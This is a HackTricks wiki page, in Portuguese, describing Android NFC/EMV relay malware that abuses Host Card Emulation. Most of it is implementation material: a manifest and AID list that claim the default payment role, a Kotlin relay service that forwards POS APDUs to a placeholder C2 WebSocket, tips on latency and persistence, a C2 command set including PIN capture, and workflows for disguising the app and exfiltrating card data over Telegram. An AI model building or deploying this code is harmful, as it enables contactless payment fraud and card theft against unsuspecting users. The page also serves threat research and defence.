Android HCE NFC/EMV Relay Attacks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
O abuso do Android Host Card Emulation (HCE) permite que um app malicioso configurado como o serviço de pagamento NFC padrão retransmita transações EMV contactless em tempo real. O terminal POS comunica via ISO 14443-4/EMV com o telefone; o HostApduService do app recebe APDUs e os encaminha por um C2 bidirecional (frequentemente WebSocket) para um backend que constrói respostas, as quais são retransmitidas de volta ao POS. Isso possibilita a emulação de cartão ao vivo sem dados do cartão local. Campanhas observadas em larga escala se disfarçam de apps de bancos/governo, solicitam tornar-se o app de pagamento padrão e exfiltram automaticamente dados do dispositivo/cartão para bots/canais do Telegram.
Principais características
- Componentes Android: HostApduService + manipulador de pagamento NFC padrão (category “payment”)
- Transporte/C2: WebSocket para relay de APDU; Telegram bot API para exfil/ops
- Fluxo de trabalho do operador: comandos estruturados (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Papéis: scanner (leitura de dados EMV) vs tapper (HCE/relay builds)
Componentes mínimos de implementação
Manifest (tornar-se o serviço HCE de pagamento padrão)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
Exemplo de lista de AID com categoria de pagamento EMV (somente apps definidos como pagamento padrão podem responder a estes AIDs):
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
Solicitar ao usuário que defina o aplicativo de pagamento padrão (abre as configurações do sistema):
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
HostApduService esqueleto de relay
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
Nota de utilidade: o serviço em segundo plano deve responder dentro do orçamento de timeout do POS (~algumas centenas de ms) por APDU; mantenha um socket de baixa latência e pre-auth com o C2. Persista através da morte do processo usando um serviço em primeiro plano quando necessário.
Conjunto típico de comandos C2 (observado)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV contactless exchange (introdução)
The POS drives the flow; the HCE app simply relays APDUs:
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
Em um relay, o backend cria FCI/FCP, AFL, registros e um criptograma válidos; o telefone apenas encaminha os bytes.
Fluxos de trabalho de operadores observados no mundo real
- Deception + install: o app é re-skinado como portal bancário/governamental, apresenta um WebView em tela cheia e solicita imediatamente tornar-se o app de pagamento NFC padrão.
- Event-triggered activation: um toque NFC acorda o HostApduService; o relay começa.
- Scanner/Tapper roles: uma build lê dados EMV de um cartão vítima (PAN, exp, trilhas, campos do dispositivo/EMV) e exfiltra; outra build (ou o mesmo dispositivo depois) realiza o HCE relay para um POS.
- Exfiltration: dados do dispositivo/cartão são postados automaticamente em canais/bots privados no Telegram; WebSocket coordena sessões e prompts de UI (por exemplo, UI de PIN no dispositivo).
References
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

